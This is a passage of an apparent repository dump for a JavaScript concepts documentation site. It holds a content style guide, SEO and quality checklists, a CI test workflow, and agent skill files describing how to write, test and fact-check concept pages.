Output in Comments\n\n```javascript\nconst greeting = \"Hello\"\nconsole.log(typeof greeting)  // \"string\"\n\nconst numbers = [1, 2, 3]\nconsole.log(numbers.length)   // 3\n```\n\n### 4. Use ❌ and ✓ for Wrong/Correct Patterns\n\n```javascript\n// ❌ WRONG - This misses HTTP errors!\ntry {\n  const response = await fetch('/api/users/999')\n  const data = await response.json()\n} catch (error) {\n  // Only catches NETWORK errors, not 404s!\n}\n\n// ✓ CORRECT - Check response.ok\ntry {\n  const response = await fetch('/api/users/999')\n  \n  if (!response.ok) {\n    throw new Error(`HTTP error! Status: ${response.status}`)\n  }\n  \n  const data = await response.json()\n} catch (error) {\n  // Now catches both network AND HTTP errors\n}\n```\n\n### 5. Use Meaningful Variable Names\n\n```javascript\n// ❌ BAD\nconst x = [1, 2, 3]\nconst y = x.map(z => z * 2)\n\n// ✓ GOOD\nconst numbers = [1, 2, 3]\nconst doubled = numbers.map(num => num * 2)\n```\n\n### 6. Progress from Simple to Complex\n\n```javascript\n// Level 1: Basic usage\nfetch('/api/users')\n\n// Level 2: With options\nfetch('/api/users', {\n  method: 'POST',\n  body: JSON.stringify({ name: 'Alice' })\n})\n\n// Level 3: Full real-world pattern\nasync function createUser(userData) {\n  const response = await fetch('/api/users', {\n    method: 'POST',\n    headers: { 'Content-Type': 'application/json' },\n    body: JSON.stringify(userData)\n  })\n  \n  if (!response.ok) {\n    throw new Error(`Failed to create user: ${response.status}`)\n  }\n  \n  return response.json()\n}\n```\n\n---\n\n## Resource Curation Guidelines\n\nExternal resources (articles, videos) are valuable, but must meet quality standards.\n\n### Quality Standards\n\nOnly include resources that are:\n\n1. **JavaScript-focused** — No resources primarily about other languages (C#, Python, Java, etc.), even if the concepts are similar\n2. **Still accessible** — Verify all links work before publishing\n3. **High quality** — From reputable sources (MDN, javascript.info, freeCodeCamp, well-known educators)\n4. **Up to date** — Avoid outdated resources; check publication dates for time-sensitive topics\n5. **Accurate** — Skim the content to verify it doesn't teach anti-patterns\n\n### Writing Resource Descriptions\n\nEach resource needs a **specific, engaging 2-sentence description** explaining what makes it unique. Generic descriptions waste the reader's time.\n\n```mdx\n<!-- ❌ Generic (bad) -->\n<Card title=\"JavaScript Promises Tutorial\" icon=\"newspaper\" href=\"...\">\n  Learn about Promises in JavaScript.\n</Card>\n\n<!-- ❌ Generic (bad) -->\n<Card title=\"Async/Await Explained\" icon=\"newspaper\" href=\"...\">\n  A comprehensive guide to async/await.\n</Card>\n\n<!-- ✓ Specific (good) -->\n<Card title=\"JavaScript Async/Await Tutorial\" icon=\"newspaper\" href=\"https://javascript.info/async-await\">\n  The go-to reference for async/await fundamentals. Includes exercises at the end to test your understanding of rewriting promise chains.\n</Card>\n\n<!-- ✓ Specific (good) -->\n<Card title=\"JavaScript Visualized: Promises & Async/Await\" icon=\"newspaper\" href=\"...\">\n  Animated GIFs showing the call stack, microtask queue, and event loop in action. This is how async/await finally \"clicked\" for thousands of developers.\n</Card>\n\n<!-- ✓ Specific (good) -->\n<Card title=\"How to Escape Async/Await Hell\" icon=\"newspaper\" href=\"...\">\n  The pizza-and-drinks ordering example makes parallel vs sequential execution crystal clear. Essential reading once you know the basics.\n</Card>\n```\n\n**Description Formula:**\n1. **Sentence 1:** What makes this resource unique OR what it specifically covers\n2. **Sentence 2:** Why a reader should click (what they'll gain, who it's best for, what stands out)\n\n**Avoid in descriptions:**\n- \"Comprehensive guide to...\" (vague)\n- \"Great tutorial on...\" (vague)  \n- \"Learn all about...\" (vague)\n- \"Everything you need to know about...\" (cliché)\n\n### Recommended Sources\n\n**Articles (Prioritize):**\n\n| Source | Why |\n|--------|-----|\n| javascript.info | Comprehensive, well-maintained, exercises included |\n| MDN Web Docs | Official reference, always accurate |\n| freeCodeCamp | Beginner-friendly, practical tutorials |\n| dev.to (Lydia Hallie, etc.) | Visual explanations, community favorites |\n| CSS-Tricks | DOM, browser APIs, visual topics |\n\n**Videos (Prioritize):**\n\n| Creator | Style |\n|---------|-------|\n| Web Dev Simplified | Clear, beginner-friendly, concise |\n| Fireship | Fast-paced, modern, entertaining |\n| Traversy Media | Comprehensive crash courses |\n| Fun Fun Function | Deep-dives with personality |\n| Wes Bos | Practical, real-world focused |\n\n**Avoid:**\n- Resources in other programming languages (C#, Python, Java) even if concepts overlap\n- Outdated tutorials (pre-ES6 syntax for modern concepts)\n- Paywalled content (unless there's a free tier)\n- Low-quality Medium articles (check engagement and accuracy)\n- Resources that teach anti-patterns\n- Videos over 2 hours (link to specific timestamps if valuable)\n\n### Verifying Resources\n\nBefore including any resource:\n\n1. **Click the link** — Verify it loads and isn't behind a paywall\n2. **Skim the content** — Ensure it's accurate and well-written\n3. **Check the date** — For time-sensitive topics, prefer recent content\n4. **Read comments/reactions** — Community feedback reveals quality issues\n5. **Test code examples** — If they include code, verify it works\n\n---\n\n## ASCII Art Diagrams\n\nUse ASCII art to visualize concepts. Make them boxed and labeled:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        THE REQUEST-RESPONSE CYCLE                        │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│    YOU (Browser)                              KITCHEN (Server)           │\n│    ┌──────────┐                               ┌──────────────┐           │\n│    │          │  ──── \"I'd like pasta\" ────►  │              │           │\n│    │    :)    │         (REQUEST)             │    [chef]    │           │\n│    │          │                               │              │           │\n│    │          │  ◄──── Here you go! ────────  │              │           │\n│    │          │         (RESPONSE)            │              │           │\n│    └──────────┘                               └──────────────┘           │\n│                                                                          │\n│    The waiter (HTTP) is the protocol that makes this exchange work!      │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## Mintlify Components Reference\n\n| Component | When to Use |\n|-----------|-------------|\n| `<Info>` | \"What you'll learn\" boxes, Key Takeaways |\n| `<Warning>` | Common mistakes, gotchas, prerequisites |\n| `<Tip>` | Pro tips, rules of thumb, best practices |\n| `<Note>` | Additional context, side notes |\n| `<AccordionGroup>` | Expandable content, Q&A sections, optional deep-dives |\n| `<Tabs>` | Comparing different approaches side-by-side |\n| `<Steps>` | Sequential processes, numbered workflows |\n| `<CardGroup>` | Resource links (articles, videos, references) |\n| `<Card>` | Individual resource with icon and link |\n\n### Card Icons Reference\n\n| Content Type | Icon |\n|--------------|------|\n| MDN/Official Docs | `book` |\n| Articles/Blog Posts | `newspaper` |\n| Videos | `video` |\n| Courses | `graduation-cap` |\n| Related Concepts | Context-appropriate (`handshake`, `hourglass`, `arrows-spin`, `sitemap`, etc.) |\n\n---\n\n## Quality Checklist\n\nBefore finalizing a concept page, verify ALL of these:\n\n### Structure\n- [ ] Opens with engaging questions that hook the reader\n- [ ] Shows a simple code example immediately after the opening\n- [ ] Has \"What you'll learn\" Info box right after the opening\n- [ ] Major sections are separated by `---` horizontal rules\n- [ ] Has a real-world analogy with ASCII art diagram\n- [ ] Has a \"Common Mistakes\" or \"The #1 Mistake\" section\n- [ ] Has a \"Key Takeaways\" section summarizing 8-10 points\n- [ ] Has a \"Test Your Knowledge\" section with 5-6 Q&As\n- [ ] Ends with Related Concepts, Reference, Articles, Videos in that order\n\n### Linking\n- [ ] All new Web APIs/methods have inline MDN links on first mention\n- [ ] All related concepts link to their concept pages (`/concepts/slug`)\n- [ ] Reference section has multiple MDN links\n- [ ] 4-6 quality articles with descriptions\n- [ ] 3-4 quality videos with descriptions\n\n### Code Examples\n- [ ] First code example is dead simple\n- [ ] Uses step-by-step comments for complex examples\n- [ ] Shows output in comments (`// \"result\"`)\n- [ ] Uses ❌ and ✓ for wrong/correct patterns\n- [ ] Uses meaningful variable names\n- [ ] Progresses from simple to complex\n\n### Content Quality\n- [ ] Written for someone who might be new to coding\n- [ ] Prerequisites are noted with Warning component\n- [ ] No assumptions about prior knowledge without links\n- [ ] Tables used for quick reference information\n- [ ] ASCII diagrams for visual concepts\n\n### Language Quality\n- [ ] Description starts with \"Learn\" or \"Understand\" (not \"Master\")\n- [ ] No overuse of em dashes (fewer than 15 outside Key Takeaways and structured sections)\n- [ ] No AI superlatives: \"dramatically\", \"fundamentally\", \"incredibly\", \"extremely\"\n- [ ] No stiff phrases: \"one of the most important\", \"essential points\", \"It should be noted\"\n- [ ] Emphasis patterns vary (not all \"Key insight:\" or \"Best practice:\")\n- [ ] Playful touches are sparse (1-2 per major section maximum)\n- [ ] No filler words: \"basically\", \"essentially\", \"actually\", \"very\", \"really\"\n- [ ] Sentences are direct (no \"In order to\", \"Due to the fact that\")\n\n### Resource Quality\n- [ ] All article/video links are verified working\n- [ ] All resources are JavaScript-focused (no C#, Python, Java resources)\n- [ ] Each resource has a specific 2-sentence description (not generic)\n- [ ] Resource descriptions explain what makes each unique\n- [ ] No outdated resources (check dates for time-sensitive topics)\n- [ ] 4-6 articles from reputable sources\n- [ ] 3-4 videos from quality creators\n\n---\n\n## Writing Tests\n\nWhen adding code examples, create corresponding tests in `/tests/`:\n\n```javascript\n// tests/{category}/{concept-name}/{concept-name}.test.js\nimport { describe, it, expect } from 'vitest'\n\ndescribe('Concept Name', () => {\n  describe('Basic Examples', () => {\n    it('should demonstrate the core concept', () => {\n      // Convert console.log examples to expect assertions\n      expect(typeof \"hello\").toBe(\"string\")\n    })\n  })\n  \n  describe('Common Mistakes', () => {\n    it('should show the wrong behavior', () => {\n      // Test the \"wrong\" example to prove it's actually wrong\n    })\n    \n    it('should show the correct behavior', () => {\n      // Test the \"correct\" example\n    })\n  })\n})\n```\n\n---\n\n## SEO Checklist\n\nVerify these elements before publishing any concept page:\n\n### Title & Meta Description\n- [ ] **Title is 50-60 characters** — check with character counter\n- [ ] **Title ends with \"in JavaScript\"** — SEO keyword at end\n- [ ] **Title has a compelling hook** — tells reader what they'll understand\n- [ ] **sidebarTitle matches title but without \"in JavaScript\"** — cleaner navigation\n- [ ] **Description is 150-160 characters** — don't leave value on the table\n- [ ] **Description includes primary keyword** in first sentence\n- [ ] **Description includes 1-2 secondary keywords** naturally\n- [ ] **Description starts with action word** (Learn, Understand, Discover — avoid \"Master\")\n- [ ] **Description promises specific value** — what will they learn?\n\n### Keyword Placement\n- [ ] **Primary keyword in title**\n- [ ] **Primary keyword in description**\n- [ ] **Primary keyword in first paragraph** (within first 100 words)\n- [ ] **Primary keyword in at least one H2 heading**\n- [ ] **Secondary keywords in H2/H3 headings** where natural\n- [ ] **Keywords in \"What you'll learn\" box items**\n- [ ] **No keyword stuffing** — content reads naturally\n\n### Content Structure\n- [ ] **Opens with question hook** matching search intent\n- [ ] **Shows code example in first 200 words**\n- [ ] **First paragraph after H2s directly answers** the implied question\n- [ ] **Content is 1,500+ words** (comprehensive coverage)\n- [ ] **Short paragraphs** (2-4 sentences maximum)\n- [ ] **Uses bullet lists** for 3+ related items\n- [ ] **Uses numbered lists** for sequential processes\n- [ ] **Uses tables** for comparisons and reference data\n- [ ] **Key terms bolded** on first mention with MDN links\n\n### Featured Snippet Optimization\n- [ ] **\"What is X\" section has 40-60 word definition paragraph**\n- [ ] **\"How to\" sections use numbered steps or `<Steps>` component**\n- [ ] **Comparison sections use tables** with clear headers\n- [ ] **At least one H2 is phrased as a question** matching search query\n\n### Internal Linking\n- [ ] **Links to 3-5 related concept pages** in body content\n- [ ] **Uses descriptive anchor text** (not \"click here\" or \"here\")\n- [ ] **Prerequisites linked in Warning component** at start\n- [ ] **Related Concepts section has 4 cards** with relevant concepts\n- [ ] **Links appear in natural context** — not forced\n\n### Technical SEO\n- [ ] **Slug is lowercase with hyphens**\n- [ ] **Slug contains primary keyword**\n- [ ] **Slug is 3-5 words maximum**\n- [ ] **All external links use proper URLs** (no broken links)\n- [ ] **MDN links are current** (check they resolve)\n"
  },
  {
    "path": ".github/FUNDING.yml",
    "content": "# These are supported funding model platforms\n\ngithub: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]\npatreon: # Replace with a single Patreon username\nopen_collective: # Replace with a single Open Collective username\nko_fi: # Replace with a single Ko-fi username\ntidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel\ncustom: https://www.buymeacoffee.com/PtZnDSaEo\n"
  },
  {
    "path": ".github/workflows/tests.yml",
    "content": "name: Tests\n\non:\n  push:\n    branches: [master, main]\n  pull_request:\n    branches: [master, main]\n\njobs:\n  test:\n    runs-on: ubuntu-latest\n\n    steps:\n      - name: Checkout repository\n        uses: actions/checkout@v6\n\n      - name: Setup Node.js\n        uses: actions/setup-node@v6\n        with:\n          node-version: 'lts/*'\n          cache: 'npm'\n\n      - name: Install dependencies\n        run: npm ci\n\n      - name: Run tests\n        run: npm test\n"
  },
  {
    "path": ".gitignore",
    "content": "# Logs\nlogs\n*.log\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n\n# Runtime data\npids\n*.pid\n*.seed\n*.pid.lock\n\n# Directory for instrumented libs generated by jscoverage/JSCover\nlib-cov\n\n# Coverage directory used by tools like istanbul\ncoverage\n\n# nyc test coverage\n.nyc_output\n\n# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)\n.grunt\n\n# Bower dependency directory (https://bower.io/)\nbower_components\n\n# node-waf configuration\n.lock-wscript\n\n# Compiled binary addons (https://nodejs.org/api/addons.html)\nbuild/Release\n\n# Dependency directories\nnode_modules/\njspm_packages/\n\n# TypeScript v1 declaration files\ntypings/\n\n# Optional npm cache directory\n.npm\n\n# Optional eslint cache\n.eslintcache\n\n# Optional REPL history\n.node_repl_history\n\n# Output of 'npm pack'\n*.tgz\n\n# Yarn Integrity file\n.yarn-integrity\n\n# dotenv environment variables file\n.env\n\n# next.js build output\n.next\n\n# webstore IDE created directory\n.idea\n"
  },
  {
    "path": ".opencode/skill/concept-workflow/SKILL.md",
    "content": "---\nname: concept-workflow\ndescription: End-to-end workflow for creating complete JavaScript concept documentation, orchestrating all skills from research to final review\n---\n\n# Skill: Complete Concept Workflow\n\nUse this skill to create a complete, high-quality concept page from start to finish. This skill orchestrates all five specialized skills in the optimal order:\n\n1. **Resource Curation** — Find quality learning resources\n2. **Concept Writing** — Write the documentation page\n3. **Test Writing** — Create tests for code examples\n4. **Fact Checking** — Verify technical accuracy\n5. **SEO Review** — Optimize for search visibility\n\n## When to Use\n\n- Creating a brand new concept page from scratch\n- Completely rewriting an existing concept page\n- When you want a full end-to-end workflow with all quality checks\n\n**For partial tasks, use individual skills instead:**\n- Just adding resources? Use `resource-curator`\n- Just writing content? Use `write-concept`\n- Just adding tests? Use `test-writer`\n- Just verifying accuracy? Use `fact-check`\n- Just optimizing SEO? Use `seo-review`\n\n---\n\n## Workflow Overview\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                     COMPLETE CONCEPT WORKFLOW                                │\n├─────────────────────────────────────────────────────────────────────────────┤\n│                                                                              │\n│  INPUT: Concept name (e.g., \"hoisting\", \"event-loop\", \"promises\")           │\n│                                                                              │\n│  ┌──────────────────┐                                                        │\n│  │ PHASE 1: RESEARCH │                                                       │\n│  │ resource-curator  │  Find MDN refs, articles, videos                      │\n│  └────────┬─────────┘                                                        │\n│           ▼                                                                  │\n│  ┌──────────────────┐                                                        │\n│  │ PHASE 2: WRITE   │                                                        │\n│  │ write-concept    │  Create the documentation page                         │\n│  └────────┬─────────┘                                                        │\n│           ▼                                                                  │\n│  ┌──────────────────┐                                                        │\n│  │ PHASE 3: TEST    │                                                        │\n│  │ test-writer      │  Generate tests for all code examples                  │\n│  └────────┬─────────┘                                                        │\n│           ▼                                                                  │\n│  ┌──────────────────┐                                                        │\n│  │ PHASE 4: VERIFY  │                                                        │\n│  │ fact-check       │  Verify accuracy, run tests, check links               │\n│  └────────┬─────────┘                                                        │\n│           ▼                                                                  │\n│  ┌──────────────────┐                                                        │\n│  │ PHASE 5: OPTIMIZE│                                                        │\n│  │ seo-review       │  SEO audit and final optimizations                     │\n│  └────────┬─────────┘                                                        │\n│           ▼                                                                  │\n│  OUTPUT: Complete, tested, verified, SEO-optimized concept page              │\n│                                                                              │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## Phase 1: Resource Curation\n\n**Skill:** `resource-curator`\n**Goal:** Gather high-quality external resources before writing\n\n### What to Do\n\n1. **Identify the concept category** (fundamentals, async, OOP, etc.)\n2. **Search for MDN references** — Official documentation\n3. **Find quality articles** — Target 4-6 from trusted sources\n4. **Find quality videos** — Target 3-4 from trusted creators\n5. **Evaluate each resource** — Check quality criteria\n6. **Write specific descriptions** — 2 sentences each\n7. **Format as Card components** — Ready to paste into the page\n\n### Deliverables\n\n- List of 2-4 MDN/reference links with descriptions\n- List of 4-6 article links with descriptions\n- List of 3-4 video links with descriptions\n- Optional: 1-2 courses or books\n\n### Quality Gates\n\nBefore moving to Phase 2:\n- [ ] All links verified working (200 response)\n- [ ] All resources are JavaScript-focused\n- [ ] Descriptions are specific, not generic\n- [ ] Mix of beginner and advanced content\n\n---\n\n## Phase 2: Concept Writing\n\n**Skill:** `write-concept`\n**Goal:** Create the full documentation page\n\n### What to Do\n\n1. **Determine the category** for file organization\n2. **Create the frontmatter** (title, sidebarTitle, description)\n3. **Write the opening hook** — Question that draws readers in\n4. **Add opening code example** — Simple example in first 200 words\n5. **Write \"What you'll learn\" box** — 5-7 bullet points\n6. **Write main content sections:**\n   - What is [concept]? (with 40-60 word definition for featured snippet)\n   - Real-world analogy\n   - How it works (with diagrams)\n   - Code examples (multiple, progressive complexity)\n   - Common mistakes\n   - Edge cases\n7. **Add Key Takeaways** — 8-10 numbered points\n8. **Add Test Your Knowledge** — 5-6 Q&A accordions\n9. **Add Related Concepts** — 4 Cards linking to related topics\n10. **Add Resources** — Paste resources from Phase 1\n\n### Deliverables\n\n- Complete `.mdx` file at `/docs/concepts/{concept-name}.mdx`\n- File added to `docs.json` navigation (if new)\n\n### Quality Gates\n\nBefore moving to Phase 3:\n- [ ] Frontmatter complete (title, sidebarTitle, description)\n- [ ] Opens with question hook\n- [ ] Code example in first 200 words\n- [ ] \"What you'll learn\" Info box present\n- [ ] All required sections present\n- [ ] Resources section complete\n- [ ] 1,500+ words\n\n---\n\n## Phase 3: Test Writing\n\n**Skill:** `test-writer`\n**Goal:** Create comprehensive tests for all code examples\n\n### What to Do\n\n1. **Scan the concept page** for all code examples\n2. **Categorize examples:**\n   - Testable (console.log, return values)\n   - DOM-specific (needs jsdom)\n   - Error examples (toThrow)\n   - Conceptual (skip)\n3. **Create test file** at `tests/{category}/{concept}/{concept}.test.js`\n4. **Create DOM test file** (if needed) at `tests/{category}/{concept}/{concept}.dom.test.js`\n5. **Write tests** for each code example with source line references\n6. **Run tests** to verify all pass\n\n### Deliverables\n\n- Test file: `tests/{category}/{concept-name}/{concept-name}.test.js`\n- DOM test file (if applicable): `tests/{category}/{concept-name}/{concept-name}.dom.test.js`\n- All tests passing\n\n### Quality Gates\n\nBefore moving to Phase 4:\n- [ ] All testable code examples have tests\n- [ ] Source line references in comments\n- [ ] Tests pass: `npm test -- tests/{category}/{concept}/`\n- [ ] DOM tests in separate file with jsdom directive\n\n---\n\n## Phase 4: Fact Checking\n\n**Skill:** `fact-check`\n**Goal:** Verify technical accuracy of all content\n\n### What to Do\n\n1. **Verify code examples:**\n   - Run tests: `npm test -- tests/{category}/{concept}/`\n   - Check any untested examples manually\n   - Verify output comments match actual outputs\n\n2. **Verify MDN/spec claims:**\n   - Click all MDN links — verify they work\n   - Compare API descriptions to MDN\n   - Check ECMAScript spec for nuanced claims\n\n3. **Verify external resources:**\n   - Check all article/video links work\n   - Skim content for accuracy\n   - Verify descriptions match content\n\n4. **Audit technical claims:**\n   - Look for \"always/never\" statements\n   - Verify performance claims\n   - Check for common misconceptions\n\n5. **Generate fact-check report**\n\n### Deliverables\n\n- Fact-check report documenting:\n  - Code verification results\n  - Link check results\n  - Any issues found and fixes made\n\n### Quality Gates\n\nBefore moving to Phase 5:\n- [ ] All tests passing\n- [ ] All MDN links valid\n- [ ] All external resources accessible\n- [ ] No technical inaccuracies found\n- [ ] No common misconceptions\n\n---\n\n## Phase 5: SEO Review\n\n**Skill:** `seo-review`\n**Goal:** Optimize for search visibility\n\n### What to Do\n\n1. **Audit title tag:**\n   - 50-60 characters\n   - Primary keyword in first half\n   - Ends with \"in JavaScript\"\n   - Contains compelling hook\n\n2. **Audit meta description:**\n   - 150-160 characters\n   - Starts with action word (Learn, Understand, Discover)\n   - Contains primary keyword\n   - Promises specific value\n\n3. **Audit keyword placement:**\n   - Keyword in title\n   - Keyword in description\n   - Keyword in first 100 words\n   - Keyword in at least one H2\n\n4. **Audit content structure:**\n   - Question hook opening\n   - Code in first 200 words\n   - \"What you'll learn\" box\n   - Short paragraphs\n\n5. **Audit featured snippet optimization:**\n   - 40-60 word definition after \"What is\" H2\n   - Question-format H2s\n   - Numbered steps for how-to content\n\n6. **Audit internal linking:**\n   - 3-5 related concepts linked\n   - Descriptive anchor text\n   - Related Concepts section complete\n\n7. **Calculate score** and fix any issues\n\n### Deliverables\n\n- SEO audit report with score (X/27)\n- All high-priority fixes implemented\n\n### Quality Gates\n\nBefore marking complete:\n- [ ] Score 24+ out of 27 (90%+)\n- [ ] Title optimized\n- [ ] Meta description optimized\n- [ ] Keywords placed naturally\n- [ ] Featured snippet optimized\n- [ ] Internal links complete\n\n---\n\n## Complete Workflow Checklist\n\nUse this master checklist to track progress through all phases.\n\n```markdown\n# Concept Workflow: [Concept Name]\n\n**Started:** YYYY-MM-DD\n**Target Category:** {category}\n**File Path:** `/docs/concepts/{concept-name}.mdx`\n**Test Path:** `/tests/{category}/{concept-name}/`\n\n---\n\n## Phase 1: Resource Curation\n- [ ] MDN references found (2-4)\n- [ ] Articles found (4-6)\n- [ ] Videos found (3-4)\n- [ ] All links verified working\n- [ ] Descriptions written (specific, 2 sentences)\n- [ ] Resources formatted as Cards\n\n**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete\n\n---\n\n## Phase 2: Concept Writing\n- [ ] Frontmatter complete\n- [ ] Opening hook written\n- [ ] Opening code example added\n- [ ] \"What you'll learn\" box added\n- [ ] Main content sections written\n- [ ] Key Takeaways added\n- [ ] Test Your Knowledge added\n- [ ] Related Concepts added\n- [ ] Resources pasted from Phase 1\n- [ ] Added to docs.json (if new)\n\n**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete\n\n---\n\n## Phase 3: Test Writing\n- [ ] Code examples extracted and categorized\n- [ ] Test file created\n- [ ] DOM test file created (if needed)\n- [ ] All testable examples have tests\n- [ ] Source line references added\n- [ ] Tests run and passing\n\n**Test Results:** X passing, X failing\n\n**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete\n\n---\n\n## Phase 4: Fact Checking\n- [ ] All tests passing\n- [ ] Code examples verified accurate\n- [ ] MDN links checked (X/X valid)\n- [ ] External resources checked (X/X valid)\n- [ ] Technical claims audited\n- [ ] No misconceptions found\n- [ ] Issues fixed\n\n**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete\n\n---\n\n## Phase 5: SEO Review\n- [ ] Title tag optimized (50-60 chars)\n- [ ] Meta description optimized (150-160 chars)\n- [ ] Keywords placed correctly\n- [ ] Content structure verified\n- [ ] Featured snippet optimized\n- [ ] Internal links complete\n\n**SEO Score:** X/27 (X%)\n\n**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete\n\n---\n\n## Final Status\n\n**All Phases Complete:** ⬜ No | ✅ Yes\n**Ready to Publish:** ⬜ No | ✅ Yes\n**Completed:** YYYY-MM-DD\n```\n\n---\n\n## Execution Instructions\n\nWhen executing this workflow, follow these steps:\n\n### Step 1: Initialize\n\n```markdown\nStarting concept workflow for: [CONCEPT NAME]\n\nCategory: [fundamentals/functions-execution/web-platform/etc.]\nFile: /docs/concepts/[concept-name].mdx\nTests: /tests/[category]/[concept-name]/\n```\n\n### Step 2: Execute Each Phase\n\nFor each phase:\n\n1. **Announce the phase:**\n   ```markdown\n   ## Phase X: [Phase Name]\n   Using skill: [skill-name]\n   ```\n\n2. **Load the skill** to get detailed instructions\n\n3. **Execute the phase** following the skill's methodology\n\n4. **Report completion:**\n   ```markdown\n   Phase X complete:\n   - [Deliverable 1]\n   - [Deliverable 2]\n   - Quality gates: ✅ All passed\n   ```\n\n5. **Move to next phase** only after quality gates pass\n\n### Step 3: Final Report\n\nAfter all phases complete:\n\n```markdown\n# Workflow Complete: [Concept Name]\n\n## Summary\n- **Concept Page:** `/docs/concepts/[concept-name].mdx`\n- **Test File:** `/tests/[category]/[concept-name]/[concept-name].test.js`\n- **Word Count:** X,XXX words\n- **Code Examples:** XX (XX tested)\n- **Resources:** X MDN, X articles, X videos\n\n## Quality Metrics\n- **Tests:** XX passing\n- **Fact Check:** ✅ All verified\n- **SEO Score:** XX/27 (XX%)\n\n## Files Created/Modified\n1. `/docs/concepts/[concept-name].mdx` (created)\n2. `/docs/docs.json` (updated navigation)\n3. `/tests/[category]/[concept-name]/[concept-name].test.js` (created)\n\n## Ready to Publish: ✅ Yes\n```\n\n---\n\n## Phase Dependencies\n\nSome phases can be partially parallelized, but the general flow should be:\n\n```\nPhase 1 (Resources) ──┐\n                      ├──► Phase 2 (Writing) ──► Phase 3 (Tests) ──┐\n                      │                                             │\n                      │         ┌───────────────────────────────────┘\n                      │         ▼\n                      └──► Phase 4 (Fact Check) ──► Phase 5 (SEO)\n```\n\n- **Phase 1 before Phase 2:** Resources inform what to write\n- **Phase 2 before Phase 3:** Need content before writing tests\n- **Phase 3 before Phase 4:** Tests are part of fact-checking\n- **Phase 4 before Phase 5:** Fix accuracy issues before SEO polish\n\n---\n\n## Skill Reference\n\n| Phase | Skill | Purpose |\n|-------|-------|---------|\n| 1 | `resource-curator` | Find and evaluate external resources |\n| 2 | `write-concept` | Write the documentation page |\n| 3 | `test-writer` | Generate tests for code examples |\n| 4 | `fact-check` | Verify technical accuracy |\n| 5 | `seo-review` | Optimize for search visibility |\n\nEach skill has detailed instructions in its own `SKILL.md` file. Load the appropriate skill at each phase for comprehensive guidance.\n\n---\n\n## Time Estimates\n\n| Phase | Estimated Time | Notes |\n|-------|---------------|-------|\n| Phase 1: Resources | 15-30 min | Depends on availability of quality resources |\n| Phase 2: Writing | 1-3 hours | Depends on concept complexity |\n| Phase 3: Tests | 30-60 min | Depends on number of code examples |\n| Phase 4: Fact Check | 15-30 min | Most automated via tests |\n| Phase 5: SEO | 15-30 min | Mostly checklist verification |\n| **Total** | **2-5 hours** | For a complete concept page |\n\n---\n\n## Quick Start\n\nTo start the workflow for a new concept:\n\n```\n1. Determine the concept name and category\n2. Load this skill (concept-workflow)\n3. Execute Phase 1: Load resource-curator, find resources\n4. Execute Phase 2: Load write-concept, write the page\n5. Execute Phase 3: Load test-writer, create tests\n6. Execute Phase 4: Load fact-check, verify accuracy\n7. Execute Phase 5: Load seo-review, optimize SEO\n8. Generate final report\n9. Commit changes\n```\n\n**Example prompt to start:**\n\n> \"Create a complete concept page for 'hoisting' using the concept-workflow skill\"\n\nThis will trigger the full end-to-end workflow, creating a complete, tested, verified, and SEO-optimized concept page.\n"
  },
  {
    "path": ".opencode/skill/fact-check/SKILL.md",
    "content": "---\nname: fact-check\ndescription: Verify technical accuracy of JavaScript concept pages by checking code examples, MDN/ECMAScript compliance, and external resources to prevent misinformation\n---\n\n# Skill: JavaScript Fact Checker\n\nUse this skill to verify the technical accuracy of concept documentation pages for the 33 JavaScript Concepts project. This ensures we're not spreading misinformation about JavaScript.\n\n## When to Use\n\n- Before publishing a new concept page\n- After significant edits to existing content\n- When reviewing community contributions\n- When updating pages with new JavaScript features\n- Periodic accuracy audits of existing content\n\n## What We're Protecting Against\n\n- Incorrect JavaScript behavior claims\n- Outdated information (pre-ES6 patterns presented as current)\n- Code examples that don't produce stated outputs\n- Broken or misleading external resource links\n- Common misconceptions stated as fact\n- Browser-specific behavior presented as universal\n- Inaccurate API descriptions\n\n---\n\n## Fact-Checking Methodology\n\nFollow these five phases in order for a complete fact check.\n\n### Phase 1: Code Example Verification\n\nEvery code example in the concept page must be verified for accuracy.\n\n#### Step-by-Step Process\n\n1. **Identify all code blocks** in the document\n2. **For each code block:**\n   - Read the code and any output comments (e.g., `// \"string\"`)\n   - Mentally execute the code or test in a JavaScript environment\n   - Verify the output matches what's stated in comments\n   - Check that variable names and logic are correct\n\n3. **For \"wrong\" examples (marked with ❌):**\n   - Verify they actually produce the wrong/unexpected behavior\n   - Confirm the explanation of why it's wrong is accurate\n\n4. **For \"correct\" examples (marked with ✓):**\n   - Verify they work as stated\n   - Confirm they follow current best practices\n\n5. **Run project tests:**\n   ```bash\n   # Run all tests\n   npm test\n   \n   # Run tests for a specific concept\n   npm test -- tests/fundamentals/call-stack/\n   npm test -- tests/fundamentals/primitive-types/\n   ```\n\n6. **Check test coverage:**\n   - Look in `/tests/{category}/{concept-name}/`\n   - Verify tests exist for major code examples\n   - Flag examples without test coverage\n\n#### Code Verification Checklist\n\n| Check | How to Verify |\n|-------|---------------|\n| `console.log` outputs match comments | Run code or trace mentally |\n| Variables are correctly named/used | Read through logic |\n| Functions return expected values | Trace execution |\n| Async code resolves in stated order | Understand event loop |\n| Error examples actually throw | Test in try/catch |\n| Array/object methods return correct types | Check MDN |\n| `typeof` results are accurate | Test common cases |\n| Strict mode behavior noted if relevant | Check if example depends on it |\n\n#### Common Output Mistakes to Catch\n\n```javascript\n// Watch for these common mistakes:\n\n// 1. typeof null\ntypeof null        // \"object\" (not \"null\"!)\n\n// 2. Array methods that return new arrays vs mutate\nconst arr = [1, 2, 3]\narr.push(4)        // Returns 4 (length), not the array!\narr.map(x => x*2)  // Returns NEW array, doesn't mutate\n\n// 3. Promise resolution order\nPromise.resolve().then(() => console.log('micro'))\nsetTimeout(() => console.log('macro'), 0)\nconsole.log('sync')\n// Output: sync, micro, macro (NOT sync, macro, 